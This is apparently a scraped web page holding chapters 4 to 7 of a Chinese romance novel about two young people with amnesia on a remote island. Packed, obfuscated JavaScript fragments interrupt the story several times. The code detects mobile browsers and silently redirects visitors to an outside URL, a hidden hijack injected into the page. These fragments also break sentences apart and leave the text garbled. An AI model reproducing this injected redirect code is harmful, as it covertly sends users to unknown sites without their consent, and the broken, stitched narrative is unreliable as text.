RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13634681|143724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 船老板和那个老人说他们没见过,可是长风不也说了吗,岛上有过新来的人,或许他只见过那个珍珠,没见过夏桉而已。 这又不能证明夏桉不在岛上。 他顺着记忆沿着昨天身影奔跑的方向往前走,不知不觉间,竟又走到了那个破败的小店,昨天没仔细看,今天才发现上面其实还有块歪歪扭扭的广告牌,写着冷饮店三个字。 店里好像没有人,只有一个老落地扇在摇头工作,他刚准备离开,柜台那处冒出一点声响,一个女孩突然从下面探出头来,黑白分明的眼珠在他身上打了个转。 颜祈心头一颤,张了张嘴竟说不出来,他找了夏桉那么久,不曾想她会以这种形式出现在眼前。 “夏桉。” 颜祈心头瞬间冒出一点火来,叫出她的名字后,那些被积压的情绪也跟着倾泻而出,他找了这么久,结果她却藏在一家破冷饮店里。 “你最好能给我一个完美的解释,说你自己为什么会在这里,还有你和颜淙是什么怎么回事,你为什么要和他订婚,你知不知道他…….” 还不等他说完,颜祈感觉哪里有点不对劲,夏桉像是完全不理解这段话是对她说的,甚至还好奇地往四周看了看,好似在找什么人。 女孩歪着头用手撑着半张脸,眼里全是对他不加掩饰的好奇和打量,仿若从来没有见过他一样,紧接蹙起秀眉,对他多了几分警惕。 海风携着咸涩的味道席卷而来,颜祈定在树下,眼里某种情绪肆意翻涌,冥冥之中就像是有什么困住了一样,让他动弹不得。 夏桉怎么会用这种眼神看他,茫然的、新奇的,五岁相识,九岁住在同一屋檐下,他们还不足二十岁,生命的交集却已经横跨了十五年。 可现在就好像以前的种种只剩下颜祈一个人记得,夏桉眼里看不出一丝对他感情的起伏。 颜祈也不知道自己在那棵树下站了多久,女孩一开始还担忧地看了他会儿,后面像是也失去了兴致,开始自顾自地收拾了那个小店面。 夏桉怕脏怕累,以前叫她做点什么总要哄要劝,更别说这种脏活累活,连申请国外的学校他都没让夏桉动过手,但眼前的女孩所做的每件事都让颜祈无比陌生。 她很沉浸在这份简单枯燥的工作里,嘴里哼着小调,乐在自得。 有那么一刻,颜祈甚至在想,是不是这个世界上真的有两个一模一样的人,或者是夏桉本来就有一个孪生的姐妹,只是夏叔叔他们还没有来得及告诉她就离开了。 但是那首小调颜祈再熟悉不过,夏桉练过最多的琴谱就是这一首。 那就只剩下一种可能,夏桉也知道自己和颜淙订婚这件事她做错了,不敢真的面对自己,才会故意装作不认识他,又或者还有其他自己不知道的事。 但颜祈没有时间继续琢磨下去,店里的女孩朝他招了招手,从冰箱拿出一瓶不知道开了多久的可乐倒进杯子里,推到柜台前。 “你要喝可乐吗?” “我叫珍珠,你叫什么?” 5. 第五章 那是夏桉和他分开小半年后说的第一句话,她递给了他一杯漏气的可乐,说了一个和自己毫无关联的名字。 颜祈一时之间难以接受如此大的信息量,陌生的夏桉有了一个新的名字,她变得爱笑活泼,还有了一个不知名路的奶奶,她在一家破冷饮店里打工,背着一个毫无品位的花布包能徒手打死一只很大的虫子,然后跟他说明天请他喝橘子汽水。 颜祈感觉自己可能闯到了某个平行空间,他没办法接受这种事情的发生,脑海里像是走马灯一样反复播放着这一天发生的事情,夏桉走起路来一甩一甩的辫子,推过来的那杯掺了水的可乐,死在她手上的虫子,最后是她站在高高的山坡上回头叮嘱自己远去的样子。 所有的一切都在告诉颜祈,被他养大的夏桉正在离他越来越远。 是半夜都要惊醒的程度,颜祈再也睡不着了,打开窗户望着那片幽深无垠的海域,推浪而至的潮汐声,给这片深夜看似平静实则暗潮涌动的海面蒙上一层诡秘的面纱。 天一亮,颜祈就在渡口边等船老板,这是他第三次上蓝月岛。 船老板依旧一个人在船上喋喋不休,都是些什么休渔期开渔期的事情,说再过几天开渔期就要到了,到时候出海的人会更多,颜祈没有在意去听,误以为他是在暗示到时候要提高费用,他是不在乎那点小钱的,自然也没有看见船老板对他审视和思考的目光。 颜祈到的很早,船老板下去的时候看了眼时间,热情地邀请他回家吃饭。 颜祈吃不惯这里的东西,但毕竟相处了几天,他也不是什么没有人情味的冷血动物,很宽容地说:“我到时候要走会打你的电话。” 附加的意思就是,没打电话之前船老板不必顶着烈日在这里等他。 对于一个活了五十多年,整天和各种人打交道的老滑头来说,理解这种意思易如反掌,他满脸堆笑:“行,那你到时候联系我。” 其实渡口不止他一条船,还有几条更破更老的渔船,不过上面通常都没有人,颜祈也更加看不上。 颜祈按照路线往冷饮店走,路并不宽,事实上这岛里压根就没有马路,都是些什么磕磕绊绊的石子路,或者一些人为走出来的小路,四周荒草丛生,但都不高。 长风可能对树有什么特殊感情,大中午的坐在一棵被伐的树桩上,手上拿着什么东西往嘴里塞。 颜祈说过找到夏桉会感谢他的,更何况他现在有很多问题需要找一个岛上的人打听清楚,看起来傻乎乎的长风是最佳人选,这种人最容易套出话。 长风见着他有点激动,追问道:“你找到珍珠姐姐了吗?” 颜祈摸了摸自己的口袋,随手把腕上的那块表取下来塞到长风的手里,“给你了。” “这是什么?”长风没见过那么精美的机械表,很快把自己的问题给忘了,掂在手里头把玩。 颜祈勾了勾嘴角,“这你都没见过,手表啊。” “给我的,礼物?” 颜祈:“……随便你怎么想,反正给你了。” 他觉得这块表的价值足够当作谢礼了,更何况是长风这种一直待着岛上的人,估计都认不得这个牌子。 颜祈状似无意地开始闲聊,从一些很小的事情一路扯到夏桉是多久来到岛上的。 长风举起表对着太阳,发现里面有一圈会发光的透明小石头,格外耀眼,没什么防备意识地说:“好久好久了。” 颜祈很不满意这个答案:“好久是多久?” 长风皱起脸,用力思考了会,“阿财叔他们不能出海抓鱼以后,珍珠姐姐才来的。” “不过大家都不知道她是什么时候来的,珍珠姐姐自己也不知道。” 某个念头从颜祈的心中一闪而过,答案就在眼前,他追问道:“什么叫她自己也不知道多久来的?” 长风点点头,表情有点空洞:“对啊,因为珍珠姐姐什么都不记得了。” 颜祈:“不记得了?为什么?” 长风对那块表很快失去了兴趣,随手放在一旁,扯着挂在身上的小鱿鱼干继续说:“妈妈说,是因为珍珠姐姐生了一场很大的病,什么都忘记了。” “他们说这是……”长风苦恼地挠了挠后脑勺,一时之间想不起那个词。 颜祈绷住嘴角,将答案脱口而出:“失忆。” “对,就是这个,阿财叔他们都说珍珠姐姐是失忆了。”长风眼里露出一点惊羡,毫不吝啬自己的夸奖,“你好聪明啊,你也上过学吗?” 不愿意承认的真相就这样曝晒在了海岛的烈日下,颜祈尽管早有准备,但脸还是一瞬间煞白。 多的长风也答不出了,他的脑子好像记不下什么很多的信息。 颜祈估计他没有上过学可能有点笨,很快从这边离开,会面了什么都不记得的夏桉。 夏桉如约递给他一杯冒着气泡的橘子汽水,柑橘甜腻的色素香精味在空气弥漫,颜祈只尝了一小口,心里说不出是什么滋味。 …… 珍珠端着杯子很小口的抿着,视线偷偷落在少年带着几分稚气,但无可挑剔的俊朗脸庞上,寻思这人不说话的时候,其实真的很赏心悦目。 曲盛长的耿直,她不喜欢,她喜欢小北哥那样的聪明相。 小北哥最近毕业了,在大公司找了一份很好的工作,已经好长一段时间没有回来了,珍珠忍不住多看了两眼面前的人。 也不知道自己究竟在看什么。 她开口问:“那你明天还过来吗?” 颜祈在她眼里又一次看到了自己,莫名有些急迫:“你想我来吗?” 这让她怎么回答,珍珠神色有点不太自然:“我怎么知道,反正我是没有东西给你喝了。” “会来的。”颜祈的脑子转的很快,没有浪费他那张聪明脸蛋,现在夏桉失忆了,等于他和颜淙又回到了同一起跑线。 尽管颜祈并没有真的这么认为,他打心底觉得不管是从前还是现在,自己都是最先在夏桉身边的那一个,以前的所有一切都对他很不公平,他培养了夏桉那么久,结果把夏桉培养成了颜淙的未婚妻。 现在不过是让一切又回到了原位。 不过这也只是其中一个原因,颜祈还想弄明白夏桉是如何来到这里的,在这之前她又经历了什么才会失忆,还有船老板和老人为什么会说没见过夏桉,她口中那个取名字的奶奶又是谁。 珍珠喝了半杯汽水,又问:“你也住岛上吗?我以前好像都没有见过你。” 这些年岛上的年轻人陆陆续续搬了出去,蓝月岛多了很多空的房子,就好比她现在这个冷饮店,就是一场台风过后,两室的小平房只剩下了这一间。 颜祈被勾起一些思绪,停顿一瞬才说:“没有,我住在附近一个小渔村里,你想去看看吗?” 珍珠不知道想到了什么,一口喝完了剩下的汽水,有点闷闷不乐:“以后再说吧。” 临近下午的时候刮起了一点冷风,珍珠依旧准时锁好店门,背上自己的小挎包和颜祈说再见,随后朝小山坡上走去。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13634682|143724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 颜祈没有给船老板打去电话,而是谨慎地跟在她的后面,想知道她如今住在哪里,还有口中的奶奶究竟是谁。 两人保持着一段不远不近的距离,大概走了十五分钟的样子,颜祈看到她走进了一间两层的小院,随后里面传出两个人对话的声响。 颜祈被那外面一圈石墙挡住了视线,又不敢靠的太近怕被她们发现,环视了一圈,又回到刚刚那个最高的坡上,总算可以看到院子里的全景,只是没有一个人出来。 等了好一会儿,颜祈的视线里出现一个齐耳花白短发的老妇人,她从一间屋子里面出来,走到院子的晾衣架前收起了衣服,随后夏桉也跑了出来,两个人说说笑笑,一个收一个接。 夏衣轻薄,衣架被风吹的乱晃,颜祈换了好几个位置才终于看清楚老人的样子,脸色瞬间变得很难看。 海风将颜祈的衬衫短袖吹的猎猎作响,心里充斥着被欺骗的愤怒,怪不得她能看着照片睁眼说瞎说,原来就是她把夏桉藏了起来,还让夏桉不能出岛, 可还没等他想好应对的措施,小腿肚那里突然传来一阵温热,一下又一下,像有什么东西在舔舐他,颜祈此时正火上心头,对这种突如其来的打扰火冒三丈。 “干什么,没看到我正——” ...... 树丛里,刚刚才停留在树梢准备栖息的海鸟被吓的盘旋惊翅,珍珠捧着一堆衣服正要进屋,却突然听到山坡处传来一声惊恐的尖叫,像是有人见到了什么恐怖惊骇之物,紧接着那人好像又叫了一声什么。 积云低压,一声闷雷响在天边,刚刚还明朗的天瞬间黑云笼罩。 珍珠没听清楚,隐约感觉最后是个安字。 她下意识朝山坡的方向看去,空空如也,只闻见了几声犬吠,王淑华见她半天没进来又从屋子里走了出来,“怎么还不进来。” 她抬头担忧地看了看堆积的厚云,“这鬼天气,真是说变就变。” 珍珠心里无端有些慌张,紧了紧手里的衣服问:“奶奶,你刚刚有没有听见什么声音?” “什么声音,没有啊。”王淑华拉着她往屋子里走,“别看了,这马上就要下雨了,你爸他们怎么还不回,也不知道这雨大不大。” “奶奶。”珍珠脊背发僵,一时间愣在原地。 王淑华似乎并没有察觉到自己的怪异,紧锁着眉头,“你爷爷他们也真是的,说了下雨天不要出海就是不听,结果又弄到现在还不回来,也不知道是在折腾谁。” “谁稀罕那点钱,我们一家人在一起不就好了,这个房子又不是住不下,要那么多无用的东西干什么?” 她抚上珍珠的手背,压低声音劝告,“乖乖,你不要和他们一样倔脾气,看到下雨了就要记得回家,等下被淋湿了怎么办。” 一声劈头闷雷猛地将珍珠扯过神来,她意识到王淑华又发病了,柔声回:“我知道了。” 王淑华听到她这么说,松了口气,祖孙俩这才相互扶持着往家里走。 远处,地上蓦然发出一道光亮,持续了很久才停。 而后又是一道光亮,手机开始不停地震动着,但无人接听。 天空最后一缕光亮也渐渐消散,蜘蛛网一样破碎的屏幕又亮了起来,硕大的雨点落在了上面,一滴,两滴,随后连成了串,树枝被疾风吹的四处摇晃,聚乱纷杂的雨水持续冲打着手机屏幕,在新来的来电响起前,彻底陷入了黑暗。 不远处,只有那间小院,还有一束被风雨淋到模糊昏沉的灯光。 6. 第六章 新日高照,蓝月岛断断续续下了几天的雨终于放晴,天空一扫喧浊。 王家大清早就来了一个不速之客,曲盛又送了一些自家晾晒的海货,应着王淑华的邀请在家里吃了早餐才走。 临他走到门口的时候,王淑华推了珍珠一把,嗔怪道:“快送送你阿盛哥啊。” “奶奶,不用不用,我已经很打扰了,不用送。”他嘴里说着,脚步却是半步未挪,一脸期盼地看着珍珠。 “什么不用不用,你送了那么多东西。”王淑华再一次劝解她,“快,去送送你阿盛哥。” 什么阿盛哥,他又不是没有名字,不能直接叫曲盛吗,还有她为什么要去送,门口不就在那里,珍珠心里鼓捣着,可王淑华这几天因为天气的原因反反复复地发病,现在好不容易神志才清醒了点,她不愿让王淑华为难,长出一口气道:“走吧。” 王淑华这才满意地留在了屋子里。 院子到门口不过七八步的距离,曲盛一秒八百个假动作往她身上瞟,两人很快走到门口。 “再见。”珍珠伸手要把门关上。 曲盛扭捏站在门外,脸颊泛着一点红,叫住她:“珍珠,我明天就要出海了。” 珍珠哦了一声,“那你注意安全。” 曲盛的脸红更甚,扯着衣摆道:“那你...那我...” 他咬咬牙,像费了很大力气才说出来,“等我回来,那我们...”曲盛偷看了她一眼,没说话。 “哟,你们这是干什么呢?”二妞提着一个铁桶从后面经过,阴阳怪气道:“我说怪不得这几天怎么没见到你去海边捡东西,原来是有人送啊。” 曲盛困窘的热度逐渐腾上耳根,支支吾吾半天说不出个字,惹得二妞又多揶揄了他们几句。 珍珠看了他一眼,神情变得更加冷淡,她最烦曲盛这个样子,明明他们什么关系都没有,他也从来不肯直说,但曲盛总表现的好像他们之间有着某种说不清道不明的拉扯。 “我不去,是因为我前天捡了个大的。” 二妞自然不信,打趣道:“你捡什么了,这么宝贝。” “一个男人。”珍珠像是看不到曲盛的脸色大变,转过头来,看着他的眼睛,又重申了一遍:“我捡到了一个男人。” 要是再具体点,珍珠其实捡到的是一个泥巴男人,刚好她还认识。 靠山吃山,靠海吃海,蓝月岛的人常在海边捡到大海的馈赠,从来没有人去管,都是各凭本事,那她捡了个男人怎么了。 捡到了不就是她的。 更何况还是主动送到门口让她捡的。 -- 颜祈就是在这天醒来的,多日的高烧沉睡让他醒来时目眩头昏,朦朦胧胧间睁开眼,感觉面前似乎站着一个人,过了半分钟视线才逐渐清晰。 一个扎着小辫的女孩歪着头和他视线对上,清澈纯粹的眸子让他脑海里闪过某个模糊的面孔。 “爱哭鬼。” 小姑娘眨巴了两下眼睛,好似有点惊讶他会说话,立刻跑出去说了些什么,他还没有听清,整个人又昏睡了过去。 颜祈再次醒来是在这天的下午,窗外带着暖意的风轻抚他额角的发丝,有点痒,但很舒服,促使他陷入了更深的梦魇里。 那是一个关于蓝色的梦,阳光洒在无垠的海面上,如繁星坠落,飞翔的海鸟遨游天际,细腻的沙滩上有很多人在狂欢,颜祈隐约感觉自己该找到某个人,于是拨开重重熟悉的面孔朝灯塔走去,越来越近,他看到了那个熟悉的身影,嘴角无意识勾了一下,扯的生疼。 梦境霎时间破碎,狂风挟着急雨迎面而来,颜祈张了张嘴,感觉嗓子干的发痛,身体里的水分被烧干了一样。 他惶惶不安地睁开眼,意识还很不清醒,只感觉有什么东西从他的脑海里飞速流逝,眼前的光影变幻,模糊的视线逐渐清晰,小女孩的身影和眼前那个人重叠在一起。 颜祈闻到一股很淡的香气,一时半会儿还没有回过神来,有些发愣地打量着撑在他床边昏昏欲睡的女孩。 她看起来睡的并不安稳,纤软浓长的睫毛微微颤抖着,骨节纤细的手腕撑着光洁细润的脸侧,小巧挺拔的直鼻,尽管稚气未脱,素面朝天,也能看出来的是很明媚的长相。 旁边老旧的风扇有点卡顿地摆着头,吹起她一点发丝拂在下巴尖那,女孩不由皱起秀眉,手肘一个没稳住,头向下歪去。 颜祈条件反射性地手贴了上去,托在她的脸侧。 女孩闭阖着眼,本能地在他手心里蹭了蹭想找到舒服的姿势,随后僵住,猛地睁开眼。 没有一点心理准备,颜祈就这样对上了那双琥珀色的眼眸,女孩笑着露出整齐洁白的牙齿,“你终于醒了。” “你都不知道你睡了多久。”她倾身把桌子边的水杯拿过来,“你要喝水吗?” 颜祈还很没有真实感,想坐起来喝水,后颈传来一股剧烈的疼痛感,‘嘶’了一声。 女孩反应过来,把水杯放下起身朝抽屉走去,“忘记了,我给你找根吸管。” 整整喝了两杯水,颜祈才恢复过来,身上的燥热开始退却,独自一人躺在房间里打量着这个陌生的环境。 他这个时候还没有意识到自己有什么不对,只是单纯对这个环境有点好奇。 怎么形容呢,反正颜祈从来没见过这么破的房间,房间很小,涂着墨绿色油漆的正对走廊的窗户,一张床,一张书桌还有一个双开门的衣柜,就是这个房间的全部家居。 他躺下,看到屋顶有一块也许是被水渗透的不规则污渍,旁边是剥落的墙灰,一个圆形大灯泡直接吊在屋子正中间,哦,还有那个看起来该淘汰的电风扇,里面的扇叶都是黑的,这吹出来的风能是干净的吗? 他往旁边挪了点位置,床板发出吱吱呀呀的声音,过了又觉得有点闷热,低头看了眼自己身上的衣服,有点泛黄的白色宽大汗衫,黑色五分裤,这是他该穿的衣服吗? 他原来的衣服呢? 颜祈才想了两秒,脑子又开始发疼,过了半晌还是耐不住又挪到原来的位置,冷风徐徐而来。 ...... 楼下,王淑华有点不悦地坐在椅子上,用力挥着手中的蒲扇,心中的不满显而易见。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13634683|143724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 本来是想等楼上那个男孩醒了,就让他走,结果现在倒好,珍珠给说了出来,蓝月岛上的人就这么多,听说王家又捡了一个人,顶着大太阳也要跑过来看。 珍珠熬着鱼粥讨好地笑笑,“奶奶,人家才刚醒,不要着急嘛。” 王淑华哪是着急这个,看着孙女乖巧的脸蛋长叹一口气,“你没看到刚刚阿盛是什么表情吗?” “什么表情啊?”珍珠装傻,她才不在乎曲盛什么想法。 王淑华恨铁不成钢的在她脑门上戳了一下,“阿盛多好的一个孩子,你难道看不出他喜欢你,非要说自己捡了一个男人。” “看不出。”珍珠揉了揉额头,嘀咕道。 “你到底是哪里不喜欢他,奶奶老了,还能陪你几年?”王淑华说着,眼珠子一转又开始卖惨,“你要是怕人家嫌弃我这个老婆子,明天我们就分开住,只要你好,我什么都愿意。” “你看看人家阿盛,给我们送了多少回东西。” “是,他是给我们送了好多东西。”珍珠把手中的木勺扔在锅里,“可是你哪一次没有还回去,那点舍不得吃的全让人家拿走了,而且他送的那些东西我们明明都有,根本用不着他的,说了不要送了,总是听不明白。” “你说他喜欢我,他为什么自己不敢说,自己的心意还要通过旁人的嘴巴才说出去,这样的人顶什么用。” 王淑华脸色一阵青一阵白的,找补道:“他是害羞嘛。” 珍珠真是受够曲盛那忸忸怩怩的性子,更何况曲盛也没有真的为她做过什么,只让她感受到了不适。 “他见异思迁的时候我可没看到他害羞。” 珍珠到这个岛上也有一段时间了,二妞虽然说话直,性子火爆,可也没有什么坏心思,有关于蓝月岛的人情世故很多都是她告诉珍珠的。 曲盛正值结婚的年纪,原本家里是帮他在隔壁岛挑了个女孩在接触,听说相处的很融洽,结果在王家见着珍珠之后又不同意了,推脱说两人不合适。 珍珠听到的时候对这种行为一阵恶寒,更不要说后面他种种看似老实,实则毫无担当的行径。 王淑华久久没有说话,说到底她也不知道自己这样做的理由是什么,只是前面六十多年的人生经历,再加上蓝月岛相对于处于一个封闭的状态,尽管她有时候觉得自己不应该这样对小孙女,但也会无意识就这样做了。 锅里的鱼粥翻滚,莹润的白米破开成一朵朵小花,咕噜咕噜地冒着热气,在她们之间形成一道无形的屏障。 珍珠把粥分成了两碗,一碗放在桌子上,一碗端在手里,还没起身,屋外又来人了,她看着一眼,没什么好脸色地朝楼上走。 曲盛悻悻地走了进来,王淑华把鱼粥推了过去,让他也喝点。 颜祈此时已经发现自己有点不对劲了,说不上来,他感觉脑海里一片空白,刚醒来那会儿他对那个梦还有点印象,躺了会竟然什么都不记得了。 门是敞开的,珍珠端着鱼粥放到他身旁,看到杯子里的水空了刚想去楼下再装点,被颜祈一把揪住扯到身前,“你究竟给我喝了什么?” 7. 第七章 他怎么什么都不记得了,也什么都想不起来,连最基本的名字都毫无印象。 颜祈回忆自己醒来后什么也没做,就是喝她放在床边的水,带着一点甜味。 这很不正常,白开水怎么能是甜的呢,肯定是这个女人往里面加了什么东西,消除了他的记忆。 颜祈的脸色有点难看,因为发现自己失忆而变得恐慌,扯着珍珠的手不肯松开,纯属是病急乱投医,想要给焦躁的情绪找一个出口。 他咬牙又重复了一遍,语气里带着几分蛮横不讲理,“你到底给我喝了什么,我为什么都不记得了。” 珍珠莫名其妙看了他一眼,一把甩开,“摔傻了吧你,在这里说什么胡话。” “我能给你喝什么?要真想害你,我直接不救你不就好了,就是加了点白糖的开水而已,在这里大惊小怪,还不是因为你太久没有进食,我怕你熬不住,这才加了一点糖进去。” “得了,别神神叨叨的,快吃饭。” 颜祈这时候才把视线转到那个青花碗上,看着里面白花花的一片,皱起眉头:“这是什么,我不吃乱七八糟的东西。” 一如既往的挑剔,珍珠体谅他是个病人没有出口呛他,说:“这才不是乱七八糟的东西,这是我煮的鱼粥。” 许是刚刚做出来太热,珍珠还很贴心地特意把那碗粥放在风扇前加速冷却,颜祈看着发黄粘灰的叶片,更加没有胃口,感觉灰全被吹了进去,尽管雪白的鱼粥依旧光鲜,一尘不染。 他撇开视线:“这种东西,我不要。” 珍珠板起脸,也没惯着他:“爱吃不爱。” 突然被说了重话,颜祈脸色一白,那个破风扇看着脏脏的,风力倒是很足,把味全往他这边吹了。 两人僵持住,时间也许只过去了半分钟,到底是昏睡了几天都没吃东西,颜祈偷偷瞟了一眼那碗粥,这时珍珠突然抬起手揉了揉他的头发。 非常的刻意。 但颜祈并没有觉察出来,面对记忆的消失,颜祈无比恐慌,对待珍珠有失忆而产生的警惕,也有因为是第一个见到的人,且一直对自己没有威胁而本能产生的依赖。 珍珠露出一个温柔的笑,低了声音很突兀地开始哄他,“好啦,不要生气了,听话好吗?人不吃饭是会饿死的。” 她端过鱼粥吹了吹,舀一勺递到颜祈的嘴边,“是不是觉得太烫了,没关系的,现在已经吹凉了。” “听话,张嘴。” 颜祈被她突如其来的转变搞蒙了,越发认为她是在给自己吃些什么不正常的东西,还没开口,对面的女人已经阴恻恻地威胁上,压低了声音说:“我说了,快给我吃。” 半推半就,颜祈吃下了多日来的第一口食物,味道还算正常,后面的喂食就方便多了,珍珠甚至还很贴心的替他擦了擦嘴角,颜祈脑子木讷地转动着,完全没发觉门口还站着一个陌生男人,只觉得她的心情好像有点阴晴不定。 待人走了,青花碗也见底了,珍珠看着被一碗温粥吃的脸发热的男人,好心的把风扇对准了他,起身准备离开。 颜祈拉住她完全就是一种下意识的行为,“你要去哪?” “收碗啊。” 珍珠以为他没吃饱,端着碗问:“你还要?” 闻言,颜祈像是证明什么似的松开手,这时候楼下传来王淑华送客的声音,珍珠又坐了下来,随口问道:“你还记得你晕倒之前的事吗?” “什么?”颜祈脸上流露出一种空白。 “我问你呢,我怎么会知道你发生了什么。”那天早上开门的时候可把她吓了一跳,一个活生生的大男人倒在院子的门口,全身都是下雨过后的泥浆,看不出死活的样子。 珍珠这时候突然凑近了点,敏锐察觉到一丝不寻常,联想到他刚才莫名其妙的话,也许是‘同类’的某种特殊感应,她盯着男人的眼睛看了好一会儿,他的眼睛生的很漂亮,目光迥然明澈,却透露着一种无措的迷惘,长睫跟惊翅的鸟雀一样不停的忽闪,珍珠说:“你不记得了?是你自己倒在门口的。” 没有记忆的颜祈脑子貌似转动的很迟缓,也可能是因为珍珠离他太近,他闻到了醒来时的那股香气,像夏日青涩的柑橘,“我倒在门口?” “对啊,你真的什么不记得了?”珍珠瞳孔放大,追问道:“那我呢?我你也不记得了?” “蓝月岛,蓝月岛你还有印象吗?” 颜祈怔怔地问:“什么蓝月岛,我们...在岛上?你又是谁?” “珍珠啊,我不是跟你说过我的名字,就是海里面的那种珍珠,我奶奶给我取的,说我是海里送上来的礼物。” 颜祈听着熟悉的话,头脑又是一阵刺痛,同样的话语在他的脑海里来回播放,到最后他的神情像是陷入一种茫然里,把她的话又重复了一遍:“你是珍珠,海里面的珍珠。” 但他想问的不是这个,颜祈像是抓住救命稻草一样抓住她,“那我是谁?” 他叫什么? 颜祈不记得了。 珍珠也不知道,随口胡诌了个名字:“二狗。” 颜祈接收信息的速度很慢,也可能是在辨别真假,又问了一遍:“那你是谁?” “……你老婆。”珍珠抿了下唇,觉得自己说的很自然,她不确定眼前这个男人是真的什么都不记得了,还是别有目的,给出的答案都是想到了什么就说什么,一点也没有思考。 颜祈眉头紧皱,突然拔高了音量:“不可能,我怎么会取这种名字。” 他是失忆,又不是变成傻子,怎么可能会容许自己有个这样愚蠢又庸俗的名字。 “?”珍珠愣了下,还以为他会更加不信后面的内容。 ...... 这天晚上,蓝月岛爱看热闹的人又挤在了那个小房间的门口,曲盛听说连夜出海去了,岛医举着一个小手电筒对着颜祈一顿照,又问了一堆问题,而后对岛长摇了摇头。 岛长一脸严肃,短短三个月的时间,蓝月岛上来了两个失忆的人,这未免太巧合了点,眼前的年轻人虽然看着像个没心眼子的,可也难保会没有什么问题。 他沉思道:“这样吧,我们把你送到陆地上去。”岛长对着人群里唯一一个看起来稍微年轻点的男人吩咐道:“你家好像还没出船吧,明早借你家的船给他用用。” 颜祈看着这一圈老老少少陌生的脸庞格外警惕,不由抬起手指向珍珠:“我要她和我一起去,要不然我不走。” 众人变了脸色,尤其是王淑华。 岛长像是一下子也有些为难,周围的三姑六婆开始窃窃私语,她们的语速很快,目光直白又有深意,被审视的颜祈根本不敢对上她们的眼睛。 “这人长胳膊长腿的,就是身子骨看起来瘦了点,能出海吗?” “这骨架出什么海,也不知道是他捕鱼还是鱼捕他。” 众人哄笑。 有人又道:“不过这脸长的也是真够俊的,咱们岛可找不到这么好看的年轻人。” “可不是吗,珍珠运气还真是好。” “小北那孩子未必比他差?” “要我说,他们两个看起来还蛮男才女貌的。” 王淑华一把挤到人群前,握住珍珠的手一口回绝:“不可能,我家乖乖凭什么要跟他一起去。” 好热闹的人赶忙打趣道:“干脆你老把这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13634684|143724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个也收了算了,反正肥水不流外人田,过几年生个大胖重孙子,等着安度晚年。” “就是,反正都是珍珠捡的,那还不就是她的。” 王淑华脸色更臭了,对颜祈呵斥骂道:“你不要痴心妄想,我看你根本就是装的,老李家的,你又不是不知道我们珍珠吃了多少苦,难道还要她把虎狼窝里去?” 周围人声一多,岛长脑袋也大,站起来沉着脸制止道:“好了,都不要再说了。” “现在是捕鱼期刚刚开放,岛上出去的人也多,说不定还有其他人认识他,是哪家的亲戚也说不定,反正他伤还没好,等那些人回来再做定夺。” 他转过身又对珍珠说:“珍珠,人毕竟是你捡回来的,这些天他就先安顿在你这里,有需要就跟我说,等到时候弄明白了再一起算。” 至此,事情算是告了一个段落,王淑华冷着神色既没有同意也没有反对,但任谁都可以看出来她的不满,珍珠送完岛长,回来王淑华房间的灯都关了。 她回到二楼准备休息,颜祈听到脚步声探到窗户边叫住她:“喂,我要洗澡。” 之前没清醒过来也就算了,他忍受不了晚上不洗澡就睡觉,尽管这几天因为下雨气温并不高,他一直躺在床上被风扇吹着也没动过,可是刚刚来的那群黑乎乎的人身上都有一股味,都快把他腌入味了。 “那你自己去吧,锅炉上有热水,浴室就在旁边那间小屋子里。”珍珠走进房间,“我给你拿毛巾和衣服。” “什么烧水?你家没有浴缸吗?”颜祈脸都皱了起来。 珍珠从柜子里摸出他之前的衣服,“不想洗就算了。” 衣服干燥柔软,有种阳光晒过的气息,颜祈以为这是别人的,很嫌弃的掂了掂,一条灰色底裤从里面掉了出来,落在两人的中间,他呼出一口气,难以置信望着珍珠:“你让我穿别人的内裤?” “什么别人的,这是你自己的衣服,我都洗干净了。” 颜祈脸上的神色变得更加复杂,指着灰色底裤道:“这个也是你帮我洗的?” 珍珠说:“不然呢,你觉得它还能自己变干净?”可费了她不少工夫。 颜祈说话的尾音都变了:“那我身上的衣服,也是你换的?” 珍珠:“……” “所以你就这样把我看光了?”颜祈左瞧瞧右看看,大夏天的床上连条毯子都没有,扯过枕头死死挡在身前。 珍珠看着他一脸羞愤也不知作何回答,虽然他各方面都生长是很完美,但她又不是故意的,再说了,他跟在泥浆里滚过一样,这要是倒在别人家门口,别人还不一定要呢。 还不是她善良不计较,给了他一条生路,怎么现在弄的她跟着趁机劫色的流氓一样。 